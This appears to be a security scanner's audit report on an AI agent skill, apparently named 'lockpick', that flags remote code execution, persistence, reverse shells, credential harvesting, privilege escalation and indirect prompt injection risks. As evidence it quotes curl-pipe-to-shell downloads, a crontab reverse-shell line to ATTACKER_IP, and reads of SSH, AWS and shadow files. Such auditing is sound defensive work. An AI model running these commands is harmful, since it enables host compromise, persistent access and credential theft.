The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill facilitates the download and immediate execution of scripts from external third-party sources.
Evidence in references/linux-privesc.md: curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh and curl -L https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 -o /tmp/pspy && chmod +x /tmp/pspy.
Evidence in references/container-breakout.md: curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o /tmp/deepce.sh && /tmp/deepce.sh.
[PERSISTENCE]: The skill instructs the agent on establishing persistence on a target host during container escapes.
Evidence in references/container-breakout.md: echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontab.
[DATA_EXFILTRATION]: Extensive instructions for establishing reverse shells and exfiltrating data to external infrastructure are provided.
Evidence in references/shells-and-pivoting.md: Multiple one-liners for Bash, Python, Perl, Netcat, PHP, Ruby, and Node.js designed to connect back to an external ATTACKER_IP.
[CREDENTIALS_UNSAFE]: The skill targets and reads highly sensitive files containing credentials and keys.
Evidence in SKILL.md and references/vpn-iac-secrets.md: Harvesting ~/.aws/credentials, ~/.ssh/id_rsa, /etc/shadow, /etc/wireguard/*.conf (private keys), and Terraform state files.
[PRIVILEGE_ESCALATION]: The core methodology of the skill focuses on bypassing security boundaries and escalating privileges on Linux, Docker, and Kubernetes environments through SUID abuse, kernel exploits, and RBAC manipulation.
[INDIRECT_PROMPT_INJECTION]: The skill possesses a broad attack surface for indirect prompt injection by ingesting and processing data from untrusted system command outputs and third-party tool results without sanitization.
Ingestion points: Command outputs in Phase 1 (situational awareness) and tool outputs from LinPEAS and pspy.
Boundary markers: None identified.
Capability inventory: Full shell execution, file system writes, and network operations.
Sanitization: No evidence of input sanitization or output validation before processing.
[DYNAMIC_EXECUTION]: The skill uses dynamic execution patterns by piping remote content into shells and generating scripts at runtime for execution.

lockpick